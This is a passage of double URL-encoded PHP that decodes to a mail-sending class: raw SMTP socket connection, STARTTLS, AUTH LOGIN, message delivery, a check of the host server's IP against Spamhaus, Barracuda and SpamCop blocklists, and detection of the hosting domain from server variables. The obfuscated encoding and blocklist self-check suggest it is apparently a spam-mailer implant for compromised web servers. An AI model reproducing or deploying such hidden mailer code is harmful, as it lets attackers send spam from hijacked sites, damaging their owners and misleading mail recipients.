%253D%2520true%252C%2520%2524usestream%2520%253D%2520true%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524host_enc%2520%253D%2520%2528%2524enc%2520%253D%253D%253D%2520%2522ssl%2522%2520%253F%2520%2522ssl%253A//%2522%2520%253A%2520%2522tcp%253A//%2522%2529.%2524host.%2522%253A%2522.%2524port%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524sock%2520%2520%2520%2520%2520%253D%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524eno%2520%2520%2520%2520%2520%2520%253D%25200%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524estr%2520%2520%2520%2520%2520%253D%2520%2522%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524usesock%2520%2526%2526%2520function_exists%2528%2522fsockopen%2522%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524sock%2520%253D%2520%2540fsockopen%2528%2524host%252C%2520%2524port%252C%2520%2524eno%252C%2520%2524estr%252C%2520%2524timeout%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524usestream%2520%2526%2526%2520%2521%2524sock%2520%2526%2526%2520function_exists%2528%2522stream_socket_client%2522%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524sock%2520%253D%2520%2540stream_socket_client%2528%2524host_enc%252C%2520%2524eno%252C%2520%2524estr%252C%2520%2524timeout%252C%2520STREAM_CLIENT_CONNECT%252C%2520%2524this-%253Econtext%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524sock%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540stream_set_timeout%2528%2524sock%252C%2520%2524timeout%252C%25200%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524banner%2520%253D%2520%2524this-%253Esmtp_read_response%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521preg_match%2528%2527/%255E220/%2527%252C%2520%2524banner%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540fclose%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524sock%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520smtp_helo_and_send%2528%2524sock%252C%2520%2524mail_from%252C%2520%2524to%252C%2520%2524data%252C%2520%2524domain%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524helo%2520%253D%2520%2524this-%253Eformat_smtp_host%2528%2524domain%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540fputs%2528%2524sock%252C%2520%2522EHLO%2520%2524helo%255Cr%255Cn%2522%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524ehlo_resp%2520%253D%2520%2524this-%253Esmtp_read_response%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521preg_match%2528%2527/%255E250/%2527%252C%2520%2524ehlo_resp%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540fputs%2528%2524sock%252C%2520%2522HELO%2520%2524helo%255Cr%255Cn%2522%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524helo_resp%2520%253D%2520%2524this-%253Esmtp_read_response%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521preg_match%2528%2527/%255E250/%2527%252C%2520%2524helo_resp%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528stripos%2528%2524ehlo_resp%252C%2520%2522STARTTLS%2522%2529%2520%2521%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540fputs%2528%2524sock%252C%2520%2522STARTTLS%255Cr%255Cn%2522%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524tls_resp%2520%253D%2520%2524this-%253Esmtp_read_response%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521preg_match%2528%2527/%255E220/%2527%252C%2520%2524tls_resp%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2540stream_socket_enable_crypto%2528%2524sock%252C%2520true%252C%2520STREAM_CRYPTO_METHOD_TLS_CLIENT%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540fputs%2528%2524sock%252C%2520%2522EHLO%2520%2524helo%255Cr%255Cn%2522%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524ehlo_resp%2520%253D%2520%2524this-%253Esmtp_read_response%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521preg_match%2528%2527/%255E250/%2527%252C%2520%2524ehlo_resp%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540fputs%2528%2524sock%252C%2520%2522MAIL%2520FROM%253A%2520%253C%2524mail_from%253E%255Cr%255Cn%2522%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524resp_mf%2520%253D%2520%2524this-%253Esmtp_read_response%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521preg_match%2528%2527/%255E250/%2527%252C%2520%2524resp_mf%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540fputs%2528%2524sock%252C%2520%2522RCPT%2520TO%253A%2520%253C%2524to%253E%255Cr%255Cn%2522%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524resp_rc%2520%253D%2520%2524this-%253Esmtp_read_response%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521preg_match%2528%2527/%255E25%255B01%255D/%2527%252C%2520%2524resp_rc%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540fputs%2528%2524sock%252C%2520%2522DATA%255Cr%255Cn%2522%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524resp_data%2520%253D%2520%2524this-%253Esmtp_read_response%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521preg_match%2528%2527/%255E354/%2527%252C%2520%2524resp_data%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524lines%2520%253D%2520%2540explode%2528%2522%255Cn%2522%252C%2520%2524data%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524lines%2520as%2520%2524ln%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540fputs%2528%2524sock%252C%2520rtrim%2528%2524ln%252C%2520%2522%255Cr%255Cn%2522%2529.%2522%255Cr%255Cn%2522%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524final%2520%253D%2520%2524this-%253Esmtp_read_response%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528strpos%2528%2524final%252C%2520%2522250%2522%2529%2520%253D%253D%253D%25200%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540fputs%2528%2524sock%252C%2520%2522QUIT%255Cr%255Cn%2522%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520true%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520smtp_helo_auth_send%2528%2524sock%252C%2520%2524mail_from%252C%2520%2524to%252C%2520%2524data%252C%2520%2524domain%252C%2520%2524login%252C%2520%2524pass%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524helo%2520%253D%2520%2524this-%253Eformat_smtp_host%2528%2524domain%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540fputs%2528%2524sock%252C%2520%2522EHLO%2520%2524helo%255Cr%255Cn%2522%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524ehlo_resp%2520%253D%2520%2524this-%253Esmtp_read_response%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521preg_match%2528%2527/%255E250/%2527%252C%2520%2524ehlo_resp%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540fputs%2528%2524sock%252C%2520%2522HELO%2520%2524helo%255Cr%255Cn%2522%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524helo_resp%2520%253D%2520%2524this-%253Esmtp_read_response%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521preg_match%2528%2527/%255E250/%2527%252C%2520%2524helo_resp%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528stripos%2528%2524ehlo_resp%252C%2520%2522STARTTLS%2522%2529%2520%2521%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540fputs%2528%2524sock%252C%2520%2522STARTTLS%255Cr%255Cn%2522%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524tls_resp%2520%253D%2520%2524this-%253Esmtp_read_response%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521preg_match%2528%2527/%255E220/%2527%252C%2520%2524tls_resp%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2540stream_socket_enable_crypto%2528%2524sock%252C%2520true%252C%2520STREAM_CRYPTO_METHOD_TLS_CLIENT%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540fputs%2528%2524sock%252C%2520%2522EHLO%2520%2524helo%255Cr%255Cn%2522%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524ehlo_resp%2520%253D%2520%2524this-%253Esmtp_read_response%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521preg_match%2528%2527/%255E250/%2527%252C%2520%2524ehlo_resp%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540fputs%2528%2524sock%252C%2520%2522AUTH%2520LOGIN%255Cr%255Cn%2522%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524resp_auth%2520%253D%2520%2524this-%253Esmtp_read_response%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521preg_match%2528%2527/%255E334/%2527%252C%2520%2524resp_auth%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540fputs%2528%2524sock%252C%2520base64_encode%2528%2524login%2529.%2522%255Cr%255Cn%2522%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524resp_user%2520%253D%2520%2524this-%253Esmtp_read_response%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521preg_match%2528%2527/%255E334/%2527%252C%2520%2524resp_user%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540fputs%2528%2524sock%252C%2520base64_encode%2528%2524pass%2529.%2522%255Cr%255Cn%2522%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524resp_pass%2520%253D%2520%2524this-%253Esmtp_read_response%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521preg_match%2528%2527/%255E235/%2527%252C%2520%2524resp_pass%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540fputs%2528%2524sock%252C%2520%2522MAIL%2520FROM%253A%2520%253C%2524mail_from%253E%255Cr%255Cn%2522%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524resp_mf%2520%253D%2520%2524this-%253Esmtp_read_response%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521preg_match%2528%2527/%255E250/%2527%252C%2520%2524resp_mf%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540fputs%2528%2524sock%252C%2520%2522RCPT%2520TO%253A%2520%253C%2524to%253E%255Cr%255Cn%2522%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524resp_rc%2520%253D%2520%2524this-%253Esmtp_read_response%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521preg_match%2528%2527/%255E25%255B01%255D/%2527%252C%2520%2524resp_rc%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540fputs%2528%2524sock%252C%2520%2522DATA%255Cr%255Cn%2522%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524resp_data%2520%253D%2520%2524this-%253Esmtp_read_response%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521preg_match%2528%2527/%255E354/%2527%252C%2520%2524resp_data%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524lines%2520%253D%2520%2540explode%2528%2522%255Cn%2522%252C%2520%2524data%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524lines%2520as%2520%2524ln%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540fputs%2528%2524sock%252C%2520rtrim%2528%2524ln%252C%2520%2522%255Cr%255Cn%2522%2529.%2522%255Cr%255Cn%2522%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524final%2520%253D%2520%2524this-%253Esmtp_read_response%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528strpos%2528%2524final%252C%2520%2522250%2522%2529%2520%253D%253D%253D%25200%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540fputs%2528%2524sock%252C%2520%2522QUIT%255Cr%255Cn%2522%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520true%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520smtp_read_response%2528%2524sock%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524resp%2520%253D%2520%2522%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520while%2520%2528%2521%2540feof%2528%2524sock%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524line%2520%253D%2520%2540fgets%2528%2524sock%252C%2520515%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524line%2520%253D%253D%253D%2520false%2529%2520break%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524resp%2520.%253D%2520%2524line%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2540substr%2528%2524line%252C%25203%252C%25201%2529%2520%253D%253D%2520%2522%2520%2522%2529%2520break%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524resp%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520check_rbl%2528%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524dnsbl_check%2520%253D%2520array%2528%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527b.barracudacentral.org%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527xbl.spamhaus.org%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527sbl.spamhaus.org%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527zen.spamhaus.org%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527bl.spamcop.net%2527%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524ip%2520%253D%2520%2540gethostbyname%2528%2524this-%253Ebasedomain%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2524ip%2529%2520return%2520%2527%252Arbl%253Aunknown%252A%2527%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524rip%2520%2520%2520%2520%253D%2520implode%2528%2527.%2527%252C%2520array_reverse%2528explode%2528%2527.%2527%252C%2520%2524ip%2529%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524result%2520%253D%2520%2527%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524dnsbl_check%2520as%2520%2524dnsbl%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2540checkdnsrr%2528%2522%2524rip.%2524dnsbl.%2522%252C%2520%2527A%2527%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524result%2520.%253D%2520%2522%2524dnsbl%252C%2520%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520rtrim%2528%2524result%252C%2520%2527%252C%2520%2527%2529%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520get_domain%2528%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524sources%2520%253D%2520array%2528%2527SERVER_NAME%2527%252C%2527HTTP_HOST%2527%252C%2527SERVER_ADDR%2527%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524host%2520%2520%2520%2520%253D%2520%2527%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524sources%2520as%2520%2524s%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524host%2520%253D%253D%2520%2527localhost%2527%2520%257C%257C%2520%2524host%2520%253D%253D%2520%2527127.0.0.1%2527%2520%257C%257C%2520strpos%2528%2524host%252C%2520%2527.%2527%2529%2520%253D%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524host%2520%253D%2520%2527%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521empty%2528%2524host%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520break%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521empty%2528%2524_SERVER%255B%2524s%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524hv%2520%2520%2520%253D%2520%2540preg_replace%2528%2527/%253A%255Cd%252B%2524/%2527%252C%2527%2527%252C%2520%2524_SERVER%255B%2524s%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524host%2520%253D%2520trim%2528%2524hv%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2524host%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524host%2520%253D%2520%2527localhost.localdomain%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524host%2520%253D%2520%2540preg_replace%2528%2527/%255Ewww%255C./i%2527%252C%2520%2527%2527%252C%2520%2524host%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524fulldomain%2520%253D%2520%2524host%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524baseDomain%2520%253D%2520%2524host%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521empty%2528%2524this-%253Eget_mx_records%2528%2524fulldomain%252C%2520false%2529%2529%2520%257C%257C%2520%2540preg_match%2528%2527/%255E%2528%255Cd%257B1%252C3%257D%255C.%2529%257B3%257D%255Cd%257B1%252C3%257D%2524/%2527%252C%2520%2524host%2529%2529%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520array%2528%2524baseDomain%252C%2520%2524fulldomain%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528strpos%2528%2524host%252C%2520%2527%253A%2527%2529%2520%2521%253D%253D%2520false%2520%2526%2526%2520%2540preg_match%2528%2527/%255E%2528%255B0-9a-fA-F%255D%257B1%252C4%257D%253A%2529%257B1%252C7%257D%255B0-9a-fA-F%255D%257B1%252C4%257D%2524/%2527%252C%2520%2524host%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520array%2528%2524baseDomain%252C%2520%2524fulldomain%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524parts%2520%253D%2520explode%2528%2527.%2527%252C%2520%2524fulldomain%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528count%2528%2524parts%2529%2520%253E%25202%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524partsCount%2520%253D%2520count%2528%2524parts%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520for%2520%2528%2524i%2520%253D%25201%253B%2520%2524i%2520%253C%2520%2524partsCount%253B%2520%2524i%252B%252B%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524candidate%2520%253D%2520implode%2528%2527.%2527%252C%2520array_slice%2528%2524parts%252C%2520%2524i%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528strpos%2528%2524candidate%252C%2520%2527.%2527%2529%2520%253D%253D%253D%2520false%2529%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520break%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524candidateIp%2520%253D%2520%2540gethostbyname%2528%2524candidate%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524candidateIp%2529%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524baseDomain%2520%253D%2520%2524candidate%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520array%2528%2524baseDomain%252C%2520%2524fulldomain%2529%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A